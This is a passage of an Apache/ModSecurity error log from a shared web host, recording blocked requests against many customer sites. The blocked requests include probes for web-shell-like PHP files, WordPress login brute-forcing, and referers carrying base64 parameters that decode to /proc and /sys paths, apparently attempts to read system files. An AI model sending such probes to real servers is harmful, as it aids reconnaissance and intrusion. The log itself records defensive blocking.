Jun 13 18:08:56.191612 2026] [security2:error] [pid 531797:tid 531899] [remote 17.241.227.40:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xGMTA7b1mZrmcA-8WlQACMiM"] [Sat Jun 13 18:08:56.219019 2026] [access_compat:error] [pid 531155:tid 531167] [remote 57.141.14.26:29640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:56.219293 2026] [access_compat:error] [pid 531155:tid 531167] [remote 57.141.14.26:29640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:56.340021 2026] [security2:error] [pid 531155:tid 531369] [client 191.234.188.123:63926] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wpls.php"] [unique_id "ai3xGCmiP80klyS0Nnrt6wAAAV4"] [Sat Jun 13 18:08:56.403304 2026] [access_compat:error] [pid 531797:tid 531888] [remote 57.141.14.47:23578] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:56.403599 2026] [access_compat:error] [pid 531797:tid 531888] [remote 57.141.14.47:23578] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:56.501489 2026] [security2:error] [pid 531155:tid 531314] [client 20.151.217.54:65222] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/fix.php"] [unique_id "ai3xGCmiP80klyS0Nnrt8AAAASc"] [Sat Jun 13 18:08:56.558471 2026] [security2:error] [pid 531155:tid 531397] [client 191.234.188.123:22077] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/itil.php"] [unique_id "ai3xGCmiP80klyS0Nnrt8QAAAXo"] [Sat Jun 13 18:08:56.564462 2026] [access_compat:error] [pid 531797:tid 531914] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:08:56.564776 2026] [access_compat:error] [pid 531797:tid 531914] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:08:56.581752 2026] [security2:error] [pid 531155:tid 531400] [client 20.151.217.54:17077] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/wolf.php"] [unique_id "ai3xGCmiP80klyS0Nnrt8wAAAX0"] [Sat Jun 13 18:08:56.601512 2026] [security2:error] [pid 531797:tid 531935] [remote 17.246.15.116:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 116.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xGMTA7b1mZrmcA-8WnQACK0c"] [Sat Jun 13 18:08:56.637459 2026] [access_compat:error] [pid 531155:tid 531219] [remote 57.141.14.27:32742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:56.637920 2026] [access_compat:error] [pid 531155:tid 531219] [remote 57.141.14.27:32742] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:56.646717 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:08:56.647010 2026] [access_compat:error] [pid 531155:tid 531184] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9pZA== [Sat Jun 13 18:08:56.743234 2026] [access_compat:error] [pid 531155:tid 531178] [remote 57.141.14.61:41684] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:56.743532 2026] [access_compat:error] [pid 531155:tid 531178] [remote 57.141.14.61:41684] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:56.816392 2026] [security2:error] [pid 531155:tid 531355] [client 191.233.234.186:54785] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/cakr3xr4.php"] [unique_id "ai3xGCmiP80klyS0NnruAgAAAVA"] [Sat Jun 13 18:08:57.124282 2026] [security2:error] [pid 531797:tid 532126] [client 191.233.234.186:44255] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/htto.php"] [unique_id "ai3xGcTA7b1mZrmcA-8WrAAAApE"] [Sat Jun 13 18:08:57.150594 2026] [access_compat:error] [pid 531797:tid 531943] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTc3MDYxL25ldA== [Sat Jun 13 18:08:57.150884 2026] [access_compat:error] [pid 531797:tid 531943] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTc3MDYxL25ldA== [Sat Jun 13 18:08:57.157023 2026] [security2:error] [pid 531155:tid 531378] [client 20.151.217.54:16967] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/rum.php"] [unique_id "ai3xGSmiP80klyS0NnruEQAAAWc"] [Sat Jun 13 18:08:57.225511 2026] [security2:error] [pid 531155:tid 531234] [remote 17.241.75.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xGSmiP80klyS0NnruEwABJk4"] [Sat Jun 13 18:08:57.229534 2026] [security2:error] [pid 531797:tid 532107] [client 20.151.217.54:48161] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/wp-bugs.php"] [unique_id "ai3xGcTA7b1mZrmcA-8WsgAAAoA"] [Sat Jun 13 18:08:57.236331 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:57.236605 2026] [access_compat:error] [pid 531155:tid 531265] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2Uvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:57.324139 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.69:25950] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:57.324405 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.69:25950] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:57.454551 2026] [access_compat:error] [pid 531155:tid 531208] [remote 57.141.14.2:31451] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:57.455023 2026] [access_compat:error] [pid 531155:tid 531208] [remote 57.141.14.2:31451] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:57.465884 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:08:57.466347 2026] [access_compat:error] [pid 531155:tid 531245] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNTMxNDkw [Sat Jun 13 18:08:57.606484 2026] [access_compat:error] [pid 531797:tid 531940] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:08:57.606933 2026] [access_compat:error] [pid 531797:tid 531940] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?del=wp-admin&p=L3Byb2MvMzMxMTQ5L2N3ZA== [Sat Jun 13 18:08:57.651009 2026] [security2:error] [pid 531797:tid 531934] [remote 139.59.150.41:54450] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.150.59.139.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "impromptufridaynights.com"] [uri "/wp-login.php"] [unique_id "ai3xGcTA7b1mZrmcA-8WwgACY0Y"] [Sat Jun 13 18:08:57.763988 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:08:57.764404 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:08:57.770258 2026] [security2:error] [pid 531155:tid 531255] [remote 17.22.245.52:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 52.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xGSmiP80klyS0NnruKAABKGM"] [Sat Jun 13 18:08:57.778163 2026] [security2:error] [pid 531155:tid 531202] [remote 74.7.227.53:57230] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3xGSmiP80klyS0NnruKQABHy4"], referer: https://northsecuritysystems.com/?product=hik-central-licencia-base-de-control-de-acceso-incluye-2-puertas-hikcentral-p-acs-base-2door [Sat Jun 13 18:08:57.836473 2026] [security2:error] [pid 531797:tid 531910] [remote 139.59.150.41:54450] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.150.59.139.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "impromptufridaynights.com"] [uri "/wp-login.php"] [unique_id "ai3xGcTA7b1mZrmcA-8WzAACXy4"], referer: https://impromptufridaynights.com/wp-login.php [Sat Jun 13 18:08:57.841512 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.83:58796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:57.841804 2026] [access_compat:error] [pid 531155:tid 531218] [remote 57.141.14.83:58796] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:57.889091 2026] [security2:error] [pid 531797:tid 532064] [client 20.151.217.54:17058] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/cxl.php"] [unique_id "ai3xGcTA7b1mZrmcA-8WzQAAAlY"] [Sat Jun 13 18:08:57.944482 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.90:42982] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:57.944907 2026] [access_compat:error] [pid 531797:tid 531931] [remote 57.141.14.90:42982] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:58.015469 2026] [security2:error] [pid 531797:tid 532054] [client 191.233.234.186:44235] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/invisi.php"] [unique_id "ai3xGsTA7b1mZrmcA-8W0AAAAkw"] [Sat Jun 13 18:08:58.053266 2026] [security2:error] [pid 531797:tid 532104] [client 191.234.188.123:30592] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/100.php"] [unique_id "ai3xGsTA7b1mZrmcA-8W0QAAAn0"] [Sat Jun 13 18:08:58.115643 2026] [access_compat:error] [pid 531797:tid 531922] [remote 57.141.14.3:22688] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:08:58.115926 2026] [access_compat:error] [pid 531797:tid 531922] [remote 57.141.14.3:22688] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:08:58.127912 2026] [access_compat:error] [pid 531797:tid 531913] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L25ldA== [Sat Jun 13 18:08:58.128182 2026] [access_compat:error] [pid 531797:tid 531913] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L25ldA== [Sat Jun 13 18:08:58.263534 2026] [security2:error] [pid 531155:tid 531156] [remote 17.241.227.219:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 219.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xGimiP80klyS0NnruOQABXgA"] [Sat Jun 13 18:08:58.329596 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:58.329885 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:08:58.429079 2026] [security2:error] [pid 531797:tid 531967] [remote 31.24.155.180:37706] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 180.155.24.31.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "buyclenbuterol-online.com"] [uri "/xmlrpc.php"] [unique_id "ai3xGsTA7b1mZrmcA-8W2AACRWY"] [Sat Jun 13 18:08:58.429228 2026] [security2:error] [pid 531797:tid 532047] [client 31.24.155.180:37706] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "buyclenbuterol-online.com"] [uri "/xmlrpc.php"] [unique_id "ai3xGsTA7b1mZrmcA-8W2AACRWY"] [Sat Jun 13 18:08:58.662954 2026] [access_compat:error] [pid 531797:tid 531938] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:08:58.663239 2026] [access_compat:error] [pid 531797:tid 531938] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzA3MDkzL2N3ZA== [Sat Jun 13 18:08:58.673705 2026] [security2:error] [pid 531797:tid 531987] [remote 17.246.23.247:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xGsTA7b1mZrmcA-8W3gACGXo"] [Sat Jun 13 18:08:58.703265 2026] [security2:error] [pid 531797:tid 531911] [remote 110.249.202.143:58358] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.casanoelectric.com"] [uri "/"] [unique_id "ai3xGsTA7b1mZrmcA-8W4AACUy8"] [Sat Jun 13 18:08:58.723574 2026] [security2:error] [pid 531797:tid 532005] [client 20.151.217.54:17078] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/flox.php"] [unique_id "ai3xGsTA7b1mZrmcA-8W4QAAAh0"] [Sat Jun 13 18:08:58.725560 2026] [security2:error] [pid 531155:tid 531290] [client 172.171.3.232:36951] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file 